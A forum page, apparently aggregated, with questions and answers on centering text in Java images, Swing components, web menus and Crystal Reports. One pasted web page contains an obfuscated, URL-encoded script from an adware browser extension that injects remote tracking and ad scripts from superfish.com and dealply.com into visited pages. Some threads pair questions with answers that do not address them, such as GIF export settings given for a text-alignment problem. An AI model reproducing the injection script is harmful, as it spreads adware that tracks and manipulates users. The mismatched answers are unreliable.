Center aligned Text in image

Hai,
I urgently need help. I want to create a jpg image which is totally white in this white image i draw some multiple line text which i want to write in the center of image. I send the Text as string to my class through servlet file. The string has some newline charatcer also. So can anybody tell me how can i draw image with center aligend text.
I use Graphics2D class for drawing and with fontMetrics to get the length of my message string. But it is not fitted in image and crossing the limit of my image.
My white image size is not fix i m using different kind of size white image.
Thanx in advance

import java.awt.*;
import java.util.*;
import javax.swing.*;
import javax.swing.border.*;
public class TextPanel extends JPanel
     public TextPanel(String text)
          setBackground( Color.WHITE );
          setBorder( new EmptyBorder(5, 5, 5, 5) );
          setLayout(new BoxLayout(this, BoxLayout.Y_AXIS));
          add( Box.createVerticalGlue() );
          StringTokenizer st = new StringTokenizer(text, "\r\n");
          while (st.hasMoreTokens())
               JLabel line = new JLabel( st.nextToken() );
               line.setFont( UIManager.getFont( "TextField.font" ) );
               line.setAlignmentX(0.5f);
               add( line );
          add( Box.createVerticalGlue() );
     public static void main(String[] args)
          String text =
               "first line\n" +
               "second line\n" +
               "a line with more text\n" +
               "another line";
          JFrame frame = new JFrame();
          frame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
          frame.getContentPane().add( new TextPanel( text ) );
          frame.pack();
          frame.setLocationRelativeTo( null );
          frame.setVisible(true);
}

Similar Messages

  • Unable to center align text in menu tabs

    following is the code for the index page of my website faithinpeace.org/exppu...im trying to center align the menu text but something or another keeps happening . text not getting center aligned..please if anyone can help me with that
    <!DOCTYPE html>
    <!-- saved from url=(0022)http://www.arts.ac.uk/ -->
    <html class=" js flexbox canvas geolocation rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio inlinesvg" lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
      <meta charset="utf-8">
          <title>Peace University USA - America's Leading Faithbased School</title>  <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <!-- navigation object : UAL: metaElement -->
        <meta charset="utf-8">
      <!-- Use the .htaccess and remove these lines to avoid edge case issues.
           More info: h5bp.com/i/378 -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <title>Peace University USA - America's Leading Faithbased School</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <!-- Common Metadata Tags -->
        <meta name="robots" content="all">    <!-- Le HTML5 shim, for IE6-8 Support of HTML elements -->
        <!--[if lt IE 9]>
          <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->
        <!--[if !IE 6]><!-->
      <!-- Main style css -->
    <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap.css">
                  <!-- Responsive style-->
                <link rel="stylesheet" type="text/css" media="screen" href="./index_files/bootstrap-responsive.css">
            <!-- Application style-->
    <link rel="stylesheet" type="text/css" media="screen" href="./index_files/app.css">
        <!--<![endif]-->
        <!--[if IE 7]>
          <link rel="stylesheet" type="text/css" media="screen" href="/media/artsacukstyleassets/component-library/ie7.css" />
        <![endif]-->
        <!--[if lte IE 6]>
          <link rel="stylesheet" href="http://universal-ie6-css.googlecode.com/files/ie6.0.3.css" type="text/css" />
        <![endif]-->
        <!-- The fav icons -->
        <link rel="shortcut icon" href="./images/favicon.ico">
        <!-- Load modernizr -->
       <script src="./index_files/jquery.min.js"></script><script src="./index_files/ga.js"></script><script type="text/javascript" src="./index_files/modernizr.js"></script>
      <script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'% 3Bvar%20ext_name%3D'FastestChrome'%3Bvar%20install_time%3D'1336405440836'%3Bvar%20ctid%3D' 1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0% 5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B %7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D% 3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0A if(install_source%3D%3D'fastanium.com')%7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Fveetl e.com%2F%2C%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2 F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2 Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell .com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi %3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Bretur n%3B%7D%7D%0Avar%20hashCode%3Dfunction(s)%7Bvar%20hash%3D0%3Bfor(var%20i%3D0%3Bi%3Cs.lengt h%3Bi%2B%2B)%7Bhash%3D((hash%3C%3C5)-hash)%2Bs.charCodeAt(i)%3Bhash%3Dhash%26hash%3B%7D%0A return%20hash%3B%7D%3Bvar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction() %0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7 D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehtt p%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com% 22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument. createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsB yTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bvar%20locale%3Dnavigator.browserLanguage%7C %7Cnavigator.language%3Bvar%20dlsource%3D%22fastestchrome%22%3Bvar%20userId%3D%2200000%22% 3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(ext_name%3D%3D%22Fastanium%22)%7Bdlso urce%3D%22fastanium%22%3BuserId%3D%22fastanium0000000000%22%2Bctid%3B%7D%0Aelse%7Bdlsource %3D%22fastestchrome%22%3BuserId%3D%22chrome0000000000%22%2Bctid%3B%7D%7D%0Aelse%20if(%2FFi refox%2F.test(navigator.userAgent))%7Bdlsource%3D%22fastestfox%22%3BuserId%3D%22fastestfox 0000000000%22%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Bdlsource%3D%22fa stestsafari%22%3BuserId%3D%22safari0000000000%22%2Bctid%3B%7D%0Aelse%20if(%2FTrident%2F.te st(navigator.userAgent))%7Bdlsource%3D%22fastestie%22%3BuserId%3D%22fastestie0000000000%22 %3B%7D%0Aif(%2F%5Een%2Fi.test(locale)%7C%7C%2F%5Ede%2Fi.test(locale)%7C%7C%2F%5Efr%2Fi.tes t(locale))%0A%7Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20if(Math.abs(hashCode(insta ll_time))%25100%3C1%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%0A%7Binj(%22http%3 A%2F%2Foptstatic.dealply.com%2Ffast%2Fversion_content.js%3Fchannel%3Dfast2%22)%3B%7D%0Aels e%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsour ce%2B%22%26CTID%3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%7Binj(%22https %3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID% 3D%22%2Bctid%2B%22%26userId%3D%22%2BuserId)%3B%7D%7D%0Aelse%0A%7Bif(%2FChrome%2F.test(navi gator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))%7Bif(Math.abs(hashCod e(install_time))%25100%3E%3D85)%7Binj(%22http%3A%2F%2Foptstatic.dealply.com%2Ffast%2Fversi on_content.js%3Fchannel%3Dfast1%22)%3B%7D%0Aelse%7Binj(%22https%3A%2F%2Fwww.superfish.com% 2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26userId %3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0Aelse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2 F%2Fwww.google.com%22).test(document.location.href))%7Binj(%22https%3A%2F%2Fwww.superfish. com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bdlsource%2B%22%26CTID%3D%22%2B1000%2B%22%26us erId%3D%22%2BuserId%2B%221000%22)%3B%7D%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A%0D%0A% 0D%0A"></script><script type="text/javascript" src="./index_files/sf_conduit.jsp"></script><script type="text/javascript" src="./index_files/base_single_icon.js"></script><script type="text/javascript" src="./index_files/dojo.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/script.xd.js"></script><script type="text/javascript" charset="utf-8" src="./index_files/window.xd.js"></script><script type="text/javascript" src="./index_files/getSupportedSitesJSON.action" id="sufioIoScript1" charset="utf-8"></script><script type="text/javascript" src="./index_files/rvwl.action" id="sufioIoScript2" charset="utf-8"></script><script type="text/javascript" src="./index_files/getCouponsSupportedSites.action" id="sufioIoScript3" charset="utf-8"></script>
      <style type="text/css">
      body {
              margin-left: 200px;
              overflow:hidden
      .n {
              text-align: center;
      </style>
    </head>
      <!-- Apply a style to the body class -->
        <body class="ual">
        <!-- navigation object : UAL: headerElement -->
        <nav id="top-navigation-column-1" class="span2" role="navigation" >
                  <!-- navigation object : Top Navigation Column 1 --> </nav>           
    <a class="indent-text" href="http://www.faithinpeace.org">Skip secondary navigation</a>
                <nav id="top-navigation-column-2" class="span3" role="navigation">
                  <!-- navigation object : Top Navigation Column 2 -->
                  <ul id="nav-sub" class="nav">
                </nav>         
    <div id="top-navigation-column-3" class="span4">
              <!-- navigation object : Search_box_Include --><!-- Add Search form -->
                  <div class="search-wrapper"></div>
              <!-- navigation object : Wayfinder_Include -->
        </div>
              </div>
            </header><!-- End of header -->
          </div><!-- End of row -->       <!-- Tabbed content -->
          <div class="tab-index">
            <div class="ual-tab">
                <figure>         <a href="http://www.faithinpeace.org">
                  <img src="images/puimage.png" alt="Home" style="width : 940px; height : 400px;    "> </a><!-- Main UAL Image -->
                <figcaption></figcaption>
              </figure>
                        <section class="ual-tab-scroll-text">
                  <h2>
                  </h2>
                  <p class="teaser"></p>
              </section>
            </div>
            <nav class="ual-tabbed-content">
              <ul class="nav-bar">
                <li id="camberwell" class="has-flyout">
                  <a class="main camberwell" href="index.htm" title="Home" rel="camberwell">Home</a>
                </li>
                <li id="csm" class="has-flyout">
                  <a class="main csm" href="./admissions.htm" title="Admissions" rel="csm">Admissions</a>
                </li>
                <li id="chelsea" class="has-flyout">
                  <a class="main chelsea" href="./academics.htm" title="Academics" rel="chelsea">Academics</a>
                </li>
                <li id="lcc" class="has-flyout">
                  <a class="main lcc" href="collaborate.htm" title="Collaborate" rel="lcc">Collaborate</a>
                </li>
                <li id="lcf" class="has-flyout">
                  <a class="main lcf" href="" title="Virtual University" rel="VU">VirtualUniversity</a>
                </li>
                <li id="wimbledon" class="has-flyout">
                  <a class="main wimbledon" href="./contact.htm" title="Contact Us" rel="Contact Us">Contact Us</a>
                </li>
              </ul>
              <div class="flyout camberwell" data-role="camberwell" style="display: none; ">
                <a href="./index" title="Peace University USA">
                  <img src="./images/home.png" alt="" style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout csm" data-role="csm" style="display: none; ">
                <a href="./admissions.htm" title="We have a place for everyone">
                  <img src="./images/admissions.png"  style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout chelsea" data-role="chelsea" style="display: none; ">
                         <a title="Academics" href="./academics.htm">
                  <img src="./images/academics.png" alt="" style="width : 940px; height : 400px;    ">
                        </a>
              </div>
              <div class="flyout lcc" data-role="lcc" style="display: none; ">
    <a title="Joining hands to strengthen resources" href="./collaborate.htm">
                  <img src="./images/collaborate.png"  style="width : 940px; height : 400px;    ">
    </a>
              </div>
              <div class="flyout lcf" data-role="lcf" style="display: none; ">
                <a href="digital.edu/lms/" title="Online Education @Peace">
                   <img src="./images/vu.png" style="width : 940px; height : 400px;    ">
                </a>
              </div>
              <div class="flyout wimbledon" data-role="wimbledon" style="display: none; ">
                <a href="./contact.htm" title="Contact Us">
                  <img src="./images/contact.png" alt="" style="width : 940px; height : 400px;    ">
                </a>
              </div>
            </nav>
          </div><div class="four-box-teasers row">
            <ul class="slide-teasers">
              <li class="has-slide span3">
                <h3>Media Arts and Design</h3>
                <a href="http://www.facebook.com/pages/MAD-Media-Art-and-Design-Center-of-Excellence/31164214225245 2"><img src="images/mad.png" alt="M.A.D" style="width : 220px; height : 110px;    "></a>
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                    <a href="./mad.htm" title="M.A.D">Collaborating with <a href="digital.edu" title="Digital University Of America" target="_blank">Digital University</a> Media, Art and Design Center of Excellence (M.A.D.) the creative arm of Digital University of America to promote Media, Art and Design in every shape and form</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>Youth Engagement Platform</h3>
                <a href="http://www.facebook.com/pages/YEP-Youth-Engagement-Platform-Peace/309623245721408"><img src="images/yep.png" alt="course books" style="width : 220px; height : 110px;    "></a>
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                                   <a href=".images/yep.htm" title="YEP">Engaging Youth to express themselves through Visual, Literary and Performing arts.</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>Courses</h3>
                <img src="images/courses.png" alt="yep image" style="width : 220px; height : 110px;    ">
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                               <a href="courses.htm" title="Courses">Find out about courses on offer @Peace University USA.</a>
                  </p>
                </div>
              </li>
              <li class="has-slide span3">
                <h3>English Training Programs</h3>
                <img src="images/etp.png"  style="width : 220px; height : 110px;    ">
                <div class="slide-up slide-up-active" style="display: none; ">
                  <p>
                    <a href="./etp.htm" title="English Training Program">Peace University offers custom-made English training programs, in collaboration with Digital University of America</a>
                  </p>
                </div>
              </li>
            </ul>
          </div><!-- navigation object : UAL: footerElement -->      <!-- Footer -->
          <footer id="footer">
            <div class="row">
              <section class="footer-links span12">
                <ul class="footer-links span6">
    <!-- navigation object : UAL: footerLinks -->
                  <li class="facebook">
                  <a href="http://www.facebook.com/pages/Peace-University/235720776442514" title="Visit PU on Facebook" target="_blank">Facebook</a></li>            
                </ul>
                <!-- Add PHP date function -->
                            <ul class="footer-links span6">
                 <li><a href="http://eepurl.com/nj22f">
                  Sign up for latest News |</a></li>             
                  <li><a href="./contact.htm">
                  Contact Us </a></li></ul>
              </section>
            </div>
          </footer>
        </div>    <!-- Javascript at the bottom for faster loading -->
        <script src="./index_files/jquery.min.js"></script>
        <script>window.jQuery || document.write('<script src="/media/artsacukstyleassets/component-library/jquery.min.js"><\/script>')</script>
    <!-- Application Javascript-->
      <script type="text/javascript" src="./index_files/script.js"></script>
        <!-- Asynchronous Google Analytics snippet. Change UA-XXXXX-X to be your site's ID. -->
        <!-- mathiasbynens.be/notes/async-analytics-snippet -->
        <script>
          var _gaq=[['_setAccount','UA-182294-1'],['_trackPageview']];
          (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];
          g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';
          s.parentNode.insertBefore(g,s)}(document,'script'));
        </script>
    <div class="extLives"></div><div id="tc_container" style="display: none" data="fc"></div><sfmsg id="sfMsgId" data="{&quot;imageCount&quot;:0,&quot;ip&quot;:&quot;182.177.144.206&quot;}"></sfmsg><div style="display: none; " id="hiddenlpsubmitdiv"></div><script>try{for(var lastpass_iter=0; lastpass_iter < document.forms.length; lastpass_iter++){ var lastpass_f = document.forms[lastpass_iter]; if(typeof(lastpass_f.lpsubmitorig2)=="undefined"){ lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function(){ var form=this; var customEvent = document.createEvent("Event"); customEvent.initEvent("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for(var i = 0; i < document.forms.length; i++){ if(document.forms[i]==form){ d.innerText=i; } } d.dispatchEvent(customEvent); form.lpsubmitorig2(); } } }}catch(e){}</script></body></html>

    Have you tried adding the following css selector to your css file.
    .nav-bar a {
        text-align: center;
    or insert it in the <style> tag you have on the page:
      <style type="text/css">
      body {
        margin-left: 200px;
      .n {
        text-align: center;
    .nav-bar a {
        text-align: center;
      </style>

  • Aligning text and images in a StyledDocument like 'middle' on img in HTML

    Hi,
    I have a StyledDocument which is a document source for a JTextArea, into which I am inserting combinations of 22x22 images and text strings. This is just a nitpick, and I am hoping someone could assist.
    What I would like to do is middle-align the text and images, so that the strings are vertically centered with the images.
    You can reproduce this as such:
    messagePane = new JTextPane();
    messagePane.setMargin( Constants.smallInset );
    doc               = (StyledDocument)messagePane.getDocument();
    Style style;
    style = doc.addStyle( "normal", null );
    StyleConstants.setForeground( style, Color.BLACK );
    StyleConstants.setFontFamily( style, "Verdana" );
    StyleConstants.setFontSize( style, 12 );
    style = doc.addStyle( "image", null );
    StyleConstants.setIcon( style, new ImageIcon( someimageofyourchoice )  );
    doc.insertString( doc.getLength(), " ", doc.getStyle( "image" ) );
    doc.insertString( doc.getLength(), "some misaligned text", doc.getStyle( "normal" ) );Thanks in advance!
    Alex

    code correction:
    top block:
    messagePane = new JTextPane();
    messagePane.setMargin( Constants.smallInset );
    StyledDocument doc = (StyledDocument)messagePane.getDocument();cut + paste from several separate components...

  • Problem with center aligned text when publishing

    Can anyone help me with this? I'm a bit desperate.
    I created blocks of text and center aligned them:
    Everything looked great but when I published all the text appeared left aligned.
    I tried everything but nothing seems to resolve this.
    Thank you in advance!
    Best regards,
    Paulo Moura

    Hi,
    Try exporting your file with the following settings to get a high quality GIF
    Dimensions   : Match movie
    Playback       : Animated
                        : Loop continuously
    Options         : Optimize colors
                        : Smooth
    Transparent   : Opaque
    Dither           : None
    Palette Type : Adaptive
    Max colors   : 99999
    Thanks!
    ps: please mark this post as Answered if this of any help to you

  • How to center text within image

    If you go to http://www.terwax.com/bf2.html , youll see text in the left side. It took me enough time to center the image. Now that i created ap tag within div, i was able to put text but in every browser its different. Below is the code. Please help me find easy way that can center the text within image.
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Terwax - Battlefield</title>
    <style type="text/css">
    body {
         background-color: #333;
         height:inherit;
         width:inherit;
         margin-left: auto;
         margin-right: auto;
         text-align: center;
    #apDiv1 {
         position:absolute;
         width:753px;
         height:110px;
         z-index:1;
         left: 286px;
         top: 174px;
         overflow: visible;
         text-justify: auto;
    </style>
    </head>
    <body>
    <div>
        <img src="images/import.png" alt="back" width="1288" height="992" align="middle" />
        <div id="apDiv1">Thanks for coming to the site. I am currently working on it. This isn't finished yet and a lot of graphics to come! Keep checking back and if you don't like or like something, make sure to hit me an email at [email protected] .</div>
    </div>
    <p> </p>
    </body>
    </html>

    Terwax.com wrote:
    That code didn't fix the problem
    It just moved the text right to the bottom of page. Last time i did this, the text was static. It couldn't be highlighted.
    I know there are tutorials, but i just need help with this as i can finish the website. I am doing all the tutorials currently (lynda.com), but its a long way from now and will be happy if someone can help me get the text in the grey box rather than falling out of it.
    Try the code below in IE9. It should work if the browser is backwards compliant. I'll be amzed if it doesn't. Unfortunately I don't have IE9 available to test in. Didn't even know it was available. Is it a beta version of the browser which maybe hasn't been fully tested yet?
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Terwax - Battlefield</title>
    <style type="text/css">
    body {
        background-color: #333;
    #imageWrapper {
    position: relative;
    width: 1288px;
    margin: 0 auto;
    #apDiv1 {
        position:absolute;
        width:753px;
        left: 270px;
        top: 174px;
    </style>
    </head>
    <body>
    <div id="imageWrapper">
        <img src="images/import.png" alt="back" width="1288" height="992" align="middle" />
        <div id="apDiv1">Thanks for coming to the site. I am currently working on it. This isn't finished yet and a lot of graphics to come! Keep checking back and if you don't like or like something, make sure to hit me an email at [email protected] .</div>
    </div>
    </body>
    </html>

  • Picture Center alignment in a page

    Hi,
    Can we do center alignment of an image in crystal reports?
    The scenario is like this.
    1. Created a OLE object in details section.
    2. Defined the detail section as "Format with multiple columns.
    3. OLE object grpahic location is defined as the file name and location comes from database.
    Here, in database, I defined the pciture size as Small, Medium and large. Based on that, we are adjusting the spaces in the report.
    For example, if there are 4 small images, I am displaying those images in a single page. As I defined the details section with "Format with multple columns", I can make 4 small images display in one page.
    If there are medium images, I am displaying 2 images in a single page.
    If there are large imates, only one I am displaying in a page.
    This setting is done based on the image size given in database.
    Here the issue comes, as even though the image size can fit into one portion of page, the image size is defined either as medium or large. And the image is by default left aligned.
    Here I would like to center align the object, so that, the page won't look odd.
    Is there any way we can do this?
    Thank you,
    Regards,
    Gowtham

    Hi,
    The page can have something called regions. You can place portlets in these regions. If you are on 309 you add regions by editing the page. if you are on 902 then you can do it by editing the layout of the page.
    Hope that helps.
    Thanks,
    Sharmila

  • How to align text(left, right or center) on a button?

    I can not figure out how to align text on a button,
    could someone help me out?
    Thanks in advance

    JButton btn=new JButton("hi");
    btn.setHorizontalAlignment(int i)
    i=0 center
    i=2 left
    i=4 right

  • How to center the text in JLabel without image?

    I need to center the text inside JLabel, how do i do it?
    Also I need some advise, what is the best way to mark a clicked card (I'm making a card game)?

    I found this method that controls that text alignment:you can try few more:
    label.setVerticalAlignment(JLabel.CENTER);    //these two would  center the label contents
    label.setHorizontalAlignment(JLabel.CENTER);
    label.setHorizontalTextPosition(JLabel.CENTER);Thanks!

  • How do you center align a Text Field box?

    The center align tool is grayed out.

    Hi,
    Sorry, formsCentral currently does not support alignment of the actual field box.  You can select the different alignment choices for the text label of the field.
    Thanks,
    Lucia

  • Aligning Text in Center of JOptionPane

    Hi,
    I am trying to display messages using JOptionPane and a JDialog.
        JOptionPane pane = new JOptionPane(message,
                                           message_type,
                                           option_type,
                                           icon,
                                           options,
                                           initial_value){
          public int getMaxCharactersPerLineCount() { return    default_characters_per_line; }
        JDialog dialog = pane.createDialog(parent_component, title);
        dialog.setVisible(true);I want to be able to control the number of characters per line which I have found how to do, and to control the alignment of the text. I have not being able to work out how to control the alignment of the text. I would like to be able have the text centered so a long line followed by a short line is displayed nicely.
    I have tried using <html><center>My Text</center></html>, however, 1stly the html tags are counted as character therefore shortening the 1st line and secondly is the message is over several line then the tag are broken up and not interpreted properly.
    Any assistance greatly appreciated.
    Leon

    //Create the dialog.
                        final JDialog dialog = new JDialog(frame,
                                                           "A Non-Modal Dialog");
                        //Add contents to it. It must have a close button,
                        //since some L&Fs (notably Java/Metal) don't provide one
                        //in the window decorations for dialogs.
                        JLabel label = new JLabel("<html><p align=center>"
                            + "This is a non-modal dialog.<br>"
                            + "You can have one or more of these up<br>"
                            + "and still use the main window.");
                        label.setHorizontalAlignment(JLabel.CENTER);
                        Font font = label.getFont();
                        label.setFont(label.getFont().deriveFont(font.PLAIN,
                                                                 14.0f));extract from
    http://java.sun.com/docs/books/tutorial/uiswing/examples/components/DialogDemoProject/src/components/CustomDialog.java

  • Aligning Text in Center of JTextArea

    This is a part of my previous question.
    Is there a way of aligning text, left-center-right in the JTextArea.
    Someone had mentioned JTextPane for aligning Text in the center. What is the code for this?
    Thanks again for your help.

    I'm sorry. I am new at Java so some of these concepts that may be clear to you aren't as obvious to me.
    I inserted the code as you instructed. However, I am not sure if I have to include something else.
    Please advise:
    import javax.swing.*;
    public class HelloClassTwoLine
    public static void main(String args[])
    JTextArea outputTextArea = new JTextArea(); //Create listbox object
    JScrollPane scroll= new JScrollPane(outputTextArea); //create vertical scroll object
    ===> added to original code JTextField textField=new JTextField();
    ===> added to original code textField.setHorizontalAlignment(textField.CENTER);
    outputTextArea.setText("Hello, This is Java 374\n" + //set text in list box
    "This is Java 374 with Ravi");
    JOptionPane.showMessageDialog(null, scroll, //text is argument in JScrollPane object
    "Java Program #2", JOptionPane.INFORMATION_MESSAGE);
    System.exit(0);
    thank you again for your help
    }

  • Vertically Align to center of text box

    I have a project that has 500+ Peices and each one consists of a 1 of three logos and 1 of 500+ lines of text and all the lines of text are different lengths
    I am using data sets and variables.xml to create them all quickly. Now the problem I am having is getting the text to wrap properly this was easilly solved by using a text box. But now I would like to center all text vertically inside the box. Can someone point me in the right direction.

    You are welcome, darkorical.
    Depending on the task/options, it may be worth looking at this thread,
    http://forums.adobe.com/thread/756492?tstart=30
    and at the
    JET_AutoFitVertical.jsx
    JET_SetCapsHeight.jsx
    scripts mad available by James here:
    http://www.illustrationetc.com/AI_Javascripts/TextScripts.htm

  • Cannot Align text in cell

    Greetings,
    I am having issues when trying to format my spreadsheet.  First of all, I have "Wrap Text in Cell" option turned on.  So when I have text that can fit into the cell, its fine.  But when I have long text in the cell, it wraps the text in the cell so it can fit inside, which I'm fine with.... but for some reason, it is not aligning it in the cell properly, so now part of the text it cut off.  I try to center align the text, but no use. I hit the button for "Align text in the middle of the table cell", and still does not align the text so that its centered, not cut off. I have included an image of what im talking about. Help please?

    Hello
    Here is what I get with Times New Roman under 10.6.8
    May you try to
    quit Pages
    trash the preferences file :
    <startupVolume>:Users:<yourAccount>:Library:Preferences:com.apple.iWork.Pages.pl ist
    restart Pages
    It it changes nothing, try to :
    quit Pages
    trash the preferences file :
    <startupVolume>:Users:<yourAccount>:Library:Caches:com.apple.iWork.fonts
    restart Pages
    Yvan KOENIG (VALLAURIS, France) mercredi 24 août 2011 21:24:52
    iMac 21”5, i7, 2.8 GHz, 4 Gbytes, 1 Tbytes, mac OS X 10.6.8 and 10.7.0
    My iDisk is : <http://public.me.com/koenigyvan>
    Please : Search for questions similar to your own before submitting them to the community
    To be the AW6 successor, iWork MUST integrate a TRUE DB, not a list organizer !

  • Space between text and images?

    I have a gallery of images with headings above them and am trying to change the distance between the text and the images. I have tried floats and padding but cant get it to work. My headings are in a table and my images are not so it seems that there is some sort of default padding between the images and the text tables.
    Here is a link..
    http://www.rsicorp.org/rsi/silvagilroy.html

    Copy & paste this into a new, blank html page.  It's a real quick and dirty layout but hopefully it will show you what you need to know.
    FYI Code errors do matter. 90% of browser rendering issues are directly related to code.  Trouble shooting is made that much easier when you work with clean code.
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Untitled</title>
    <style type="text/css">
    CSS layout modified by Alt-Web Design and Publishing www.alt-web.com 8/17/2010
    body {
    margin:0;
    padding:0;
    font-family: Verdana, Arial, Helvetica,sans-serif;
    background: #FFF;
    text-align:center;
    #container {
    width : 1000px; /**adjust width in px, ems or % **/
    margin : 0 auto; /**centered on page**/
    border : 1px solid #020873;
    text-align : left;
    background: navy;
    #header {
    width: 100%;
    min-height: 100px; /**same height as background image; if none; remove height**/
    _height: 100px;
    padding:0;
    color: #FFF;
    #header h1 {
    margin: 0;
    padding: 10px 20px;
    font-size: 14px;
    text-transform:uppercase;
    #header address {
    padding: 0 20px;
    font-size: 14px;
    font-weight:bold;
    #sidebar1 {
    width: 175px;
    height: 1%;
    padding: 15px 5px;
    /**to reduce float drop issues in IE6**/
    overflow: hidden;
    float: left;     
    color: #FFF;
    #mainContent {
    margin: 0 0 0 190px;
    background: #FFF;
    padding: 10px;
    #footer {
    padding: 0 10px;
    background:#DDD;
    clear: both;
    #footer p {
    margin: 0;
    padding: 10px 0;
    font-size: 12px;
    color: #CC3300;
    text-align: center;
    /**BEGIN PHOTOS**/
    /**this styles the image container**/
    #photos p {
    float:left;
    padding: 10px;
    border: 1px solid silver;
    /**this styles caption text**/
    font: italic 12px/1 Geneva, Arial, Helvetica, sans-serif;
    color: #666;
    text-align:center;
    line-height: 2em;
    margin: 22px;
    /**same size images recommended, adjust as req'rd**/
    #photos img {
    width:121px;
    height:90px
    /**photos float clearing**/
    .clearing {
    clear:left;
    height:1px;
    width: 100%;
    /**re-usable CLASSES**/
    .left {text-align: left}
    .center {text-align: center}
    .right {text-align:right}
    </style>
    <!--[if IE]>
    <style type="text/css">
    /* place css fixes for all versions of
    IE in this conditional comment */
    body {font-size: 76%}
    #sidebar1 {
    padding-top: 30px; word-wrap: break-word; }
    #mainContent { zoom: 100%; padding-top: 15px; }
    /* the above proprietary zoom property
    gives IE the hasLayout it needs to avoid several bugs */
    </style>
    <![endif]-->
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1 class="right">Company Name </h1>
    <address class="right">
    address, city, state,
    telephone
